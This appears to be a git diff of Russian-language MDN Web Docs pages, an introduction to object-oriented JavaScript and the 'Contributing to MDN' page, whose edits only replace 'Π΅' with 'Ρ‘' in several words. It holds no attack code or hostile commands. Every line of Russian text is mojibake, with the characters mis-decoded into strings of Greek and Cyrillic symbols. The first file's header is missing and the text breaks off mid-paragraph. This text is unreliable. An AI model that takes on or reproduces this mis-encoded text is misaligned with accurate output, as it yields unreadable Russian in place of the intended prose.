<p>ООП прСдставляСт программноС обСспСчСниС ΠΊΠ°ΠΊ ΡΠΎΠ²ΠΎΠΊΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π° Π½Π΅ Π½Π°Π±ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈΠ»ΠΈ просто список ΠΊΠΎΠΌΠ°Π½Π΄ (ΠΊΠ°ΠΊ Π² Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎΠΌ прСдставлСнии). Π’ ООП, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ сообщСния, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΡΒ Π΄Ρ€ΡƒΠ³ΠΈΠΌΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн как малСнькая нСзависимая машина с ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉΒ Ρ€ΠΎΠ»ΡŒΡŽ ΠΈΠ»ΠΈΒ ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
-<p>ООП способствуСт большСй гибкости ΠΈ поддСрТиваСмости Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ, ΠΈ ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСна в ΠΊΡ€ΡƒΠΏΠ½ΠΎΠΌΠ°ΡΡˆΡ‚Π°Π±Π½ΠΎΠΌΒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΌΒ ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π΅. Π’Π°ΠΊ как ООП Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π΅Ρ‚Β ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΡ€ΠΎΡ‰Π΅ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅Β ΠΈ ΠΏΡ€ΠΎΡ‰Π΅ для понимания впослСдствии. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ориСнтированный код способствуСт Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΌΡƒΒ Π°Π½Π°Π»ΠΈΠ·Ρƒ, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽΒ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΡŽΒ ΡΠ»ΠΎΠΆΠ½Ρ‹Ρ… ситуаций и ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€, Ρ‡Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ программирования с мСньшСй ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.<a href="#cite-1"><sup>1</sup></a></p>
+<p>ООП способствуСт большСй гибкости ΠΈ поддСрТиваСмости Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ, ΠΈ ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСна в ΠΊΡ€ΡƒΠΏΠ½ΠΎΠΌΠ°ΡΡˆΡ‚Π°Π±Π½ΠΎΠΌΒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΌΒ ΠΈΠ½ΠΆΠΈΠ½ΠΈΡ€ΠΈΠ½Π³Π΅. Π’Π°ΠΊ как ООП Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π΅Ρ‚Β ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΏΡ€ΠΎΡ‰Π΅ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅Β ΠΈ ΠΏΡ€ΠΎΡ‰Π΅ для понимания впослСдствии. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ориСнтированный код способствуСт Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠΌΡƒΒ Π°Π½Π°Π»ΠΈΠ·Ρƒ, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽΒ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΡŽΒ ΡΠ»ΠΎΠΆΠ½Ρ‹Ρ… ситуаций и ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€, Ρ‡Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ программирования с мСньшСй ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.<a href="#cite-1"><sup>1</sup></a></p>
<h2 id="Terminology" name="Terminology">ВСрминология</h2>
@@ -146,7 +146,7 @@ var person2 = new Person();
<h4 id="The_Constructor" name="The_Constructor">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€</h4>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ вызываСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания экзСмпляра класса (Π² Ρ‚ΠΎΡ‚ самый ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° создаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚). ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ класса. Π’ JavaScript функция слуТит конструктором ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, поэтому Π½Π΅Ρ‚ нСобходимости явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ конструктор. Π›ΡŽΠ±ΠΎΠ΅ дСйствиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π² конструкторС Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания экзСмпляра класса.</p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ вызываСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания экзСмпляра класса (Π² Ρ‚ΠΎΡ‚ самый ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° создаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚). ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ класса. Π’ JavaScript функция слуТит конструктором ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, поэтому Π½Π΅Ρ‚ нСобходимости явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ конструктор. Π›ΡŽΠ±ΠΎΠ΅ дСйствиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π² конструкторС Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания экзСмпляра класса.</p>
<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π·Π°Π΄Π°Π½ΠΈΡΒ ΡΠ²ΠΎΠΉΡΡ‚Π²Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° или для Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ подготовят ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊ использованию. Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ ΠΈΡ… описаний производится с использованиСм Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ синтаксиса, описанного далСС Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
@@ -273,7 +273,7 @@ function Student(firstName, subject) {
};
// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Student.prototype, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ Person.prototype.
-// ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: РаспространСнная ошибка здСсь, это использованиС "new Person()", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ
+// ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Распространённая ошибка здСсь, это использованиС "new Person()", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ
// Student.prototype. Π­Ρ‚ΠΎ Π½Π΅Π²Π΅Ρ€Π½ΠΎ ΠΏΠΎ нСскольким ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Π½Π΅ Π² послСднюю ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ
// ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅Ρ‡Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π² Person Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° "firstName"
// ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ мСсто для Π²Ρ‹Π·ΠΎΠ²Π° Person ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, Π³Π΄Π΅ ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ
diff --git a/files/ru/conflicting/mdn/contribute/index.html b/files/ru/conflicting/mdn/contribute/index.html
index 9a6e9e139b..781b4d80ae 100644
--- a/files/ru/conflicting/mdn/contribute/index.html
+++ b/files/ru/conflicting/mdn/contribute/index.html
@@ -12,7 +12,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
<div class="column-8">
<h2 id="Как_ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ_участиС">Как ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ участиС</h2>
-<p>ВнСсти свой Π²ΠΊΠ»Π°Π΄ Π² MDN ΠΎΡ‡Π΅Π½ΡŒ просто, ΠΈ Π΅ΡΡ‚ΡŒ Π΄Π²Π° способа Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ. Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ страницу, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ (исправив ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΡƒ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π½ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ исправив тСхничСскиС ошибки)? ΠŸΡ€ΠΎΡΡ‚ΠΎ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ" Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ освСщаСм?</span></span> ΠŸΡ€ΠΎΡΡ‚ΠΎ <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages#Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π½ΠΎΠ²ΠΎΠΉ_страницы">создайтС Π½ΠΎΠ²ΡƒΡŽ страницу</a>; <span class="tlid-translation translation" lang="ru"><span title="">нашС сообщСство Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² позаботится ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваша страница соотвСтствовала Π½Π°ΡˆΠ΅ΠΌΡƒ <a href="/ru/docs/Project:Writer's_guide">руководству ΠΏΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΡŽ</a> ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ Π² Π½ΡƒΠΆΠ½ΠΎΠΌ мСстС Π½Π° сайтС.</span> <span title="">НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ Β«ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΒ».</span> <span title="">ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅.</span></span></p>
+<p>ВнСсти свой Π²ΠΊΠ»Π°Π΄ Π² MDN ΠΎΡ‡Π΅Π½ΡŒ просто, ΠΈ Π΅ΡΡ‚ΡŒ Π΄Π²Π° способа Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ. Π’Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ страницу, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ (исправив ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΡƒ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π½ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ»ΠΈ исправив тСхничСскиС ошибки)? ΠŸΡ€ΠΎΡΡ‚ΠΎ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ синюю ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ" Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы. <span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Π΅Π³ΠΎ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ освСщаСм?</span></span> ΠŸΡ€ΠΎΡΡ‚ΠΎ <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages#Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π½ΠΎΠ²ΠΎΠΉ_страницы">создайтС Π½ΠΎΠ²ΡƒΡŽ страницу</a>; <span class="tlid-translation translation" lang="ru"><span title="">нашС сообщСство Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΠΎΠ·Ρ€Π΅Π²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² позаботится ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваша страница соотвСтствовала Π½Π°ΡˆΠ΅ΠΌΡƒ <a href="/ru/docs/Project:Writer's_guide">руководству ΠΏΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΡŽ</a> ΠΈ Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ Π² Π½ΡƒΠΆΠ½ΠΎΠΌ мСстС Π½Π° сайтС.</span> <span title="">НС ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΎΡΡŒ Β«ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΒ».</span> <span title="">ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅.</span></span></p>
</div>
<div class="column-4">
@@ -32,7 +32,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
<div class="column-8">
<h2 id="Π’Ρ‹Π±ΠΎΡ€ΠΊΠ°_ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ_участников">Π’Ρ‹Π±ΠΎΡ€ΠΊΠ° ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ участников</h2>
-<p>MDN состоит ΠΈΠ· ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ³ΠΎ сообщСства участников. <span class="tlid-translation translation" lang="ru"><span title="">Π₯отя ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈ всСх ΠΈΠ· Π½ΠΈΡ… (это Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Π΄ΠΎΠ»Π³ΠΎ!), ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ внСс сущСствСнный ΠΈΠ»ΠΈ Π²Π°ΠΆΠ½Ρ‹ΠΉ Π²ΠΊΠ»Π°Π΄, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ</span> <span title="">скорСС всСго, Π±ΡƒΠ΄Π΅Ρ‚ доступСн Π² <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">Ρ‡Π°Ρ‚Π΅ MDN Web Docs</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ, Ссли Π²Π°ΠΌ понадобится ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² вашСм участии.</span></span></p>
+<p>MDN состоит ΠΈΠ· ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ³ΠΎ сообщСства участников. <span class="tlid-translation translation" lang="ru"><span title="">Π₯отя ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈ всСх ΠΈΠ· Π½ΠΈΡ… (это Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΎΡ‡Π΅Π½ΡŒ Π΄ΠΎΠ»Π³ΠΎ!), ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ΅-Ρ‡Ρ‚ΠΎ ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ внёс сущСствСнный ΠΈΠ»ΠΈ Π²Π°ΠΆΠ½Ρ‹ΠΉ Π²ΠΊΠ»Π°Π΄, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ</span> <span title="">скорСС всСго, Π±ΡƒΠ΄Π΅Ρ‚ доступСн Π² <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">Ρ‡Π°Ρ‚Π΅ MDN Web Docs</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ, Ссли Π²Π°ΠΌ понадобится ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² вашСм участии.</span></span></p>
<div class="column-container">
<div class="column-half">
@@ -59,7 +59,7 @@ original_slug: MDN_at_ten/Contributing_to_MDN
<h3 id="Julien_Sphinx_Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†"><span id="Julien_Sphinx_Volunteer">Julien (Sphinx)<br>
<small>Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†</small></span></h3>
-<p><a href="/en-US/profiles/SphinxKnight">Julien</a> <span class="tlid-translation translation" lang="ru"><span title="">внСс Β«Π»ΡŒΠ²ΠΈΠ½ΡƒΡŽ долю» усилий Π½Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ всСго Ρ€Π°Π·Π΄Π΅Π»Π° JavaScript Π² MDN Π½Π° французский язык.</span> <span title="">МногиС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ участники Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³Π»ΠΈ Π² этой Ρ€Π°Π±ΠΎΡ‚Π΅, Π½ΠΎ </span></span> Julien <span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΡ€ΠΎΠ²Π΅Π» ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΎΡ‡Π΅ΠΉ ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… мСсяцСв, пСрСводя ΡΡ‚Π°Ρ‚ΡŒΠΈ Π½Π° JavaScript.</span></span></p>
+<p><a href="/en-US/profiles/SphinxKnight">Julien</a> <span class="tlid-translation translation" lang="ru"><span title="">внёс Β«Π»ΡŒΠ²ΠΈΠ½ΡƒΡŽ долю» усилий Π½Π° ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ всСго Ρ€Π°Π·Π΄Π΅Π»Π° JavaScript Π² MDN Π½Π° французский язык.</span> <span title="">МногиС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ участники Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³Π»ΠΈ Π² этой Ρ€Π°Π±ΠΎΡ‚Π΅, Π½ΠΎ </span></span> Julien <span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΡ€ΠΎΠ²Ρ‘Π» ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΎΡ‡Π΅ΠΉ ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… мСсяцСв, пСрСводя ΡΡ‚Π°Ρ‚ΡŒΠΈ Π½Π° JavaScript.</span></span></p>
<h3 id="Jeff_Walden_Software_Engineer_JavaScript_Engine">Jeff Walden<br>
<small>Software Engineer, JavaScript Engine</small></h3>
@@ -71,12 +71,12 @@ original_slug: MDN_at_ten/Contributing_to_MDN
<h3 id="Priyanka_Nag_Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†">Priyanka Nag<br>
<small>Π”ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»Π΅Ρ†</small></h3>
-<p><a href="/profiles/Priyanka13">Priyanka Nag</a> ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΠ»Π°ΡΡŒ ΠΊ MDN Π² 2012 Π³ΠΎΠ΄Ρƒ, Π½ΠΎ стала Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с сообщСством MDN Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС саммита Mozilla Π² 2013 Π³ΠΎΠ΄Ρƒ, Π³Π΄Π΅ ΠΎΠ½Π° Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΠ»Π°ΡΡŒ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π»Π° с Luke Crouch ΠΈ David Walsh ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² MDN; <span class="tlid-translation translation" lang="ru"><span title="">это послуТило Π΅Π΅ Π³Π»Π°Π²Π½Ρ‹ΠΌ Π²Π΄ΠΎΡ…Π½ΠΎΠ²Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²Π½ΠΎΡΠΈΡ‚ΡŒ свой Π²ΠΊΠ»Π°Π΄ Π² MDN.</span></span> Priyanka <span class="tlid-translation translation" lang="ru"><span title="">Π² основном Π»ΡŽΠ±ΠΈΡ‚ ΠΏΡ€ΠΎΠΏΠΎΠ²Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ MDN, ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ мСроприятия MDN ΠΈ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒ с MDN большС людСй, Π° Ρ‚Π°ΠΊΠΆΠ΅ врСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ 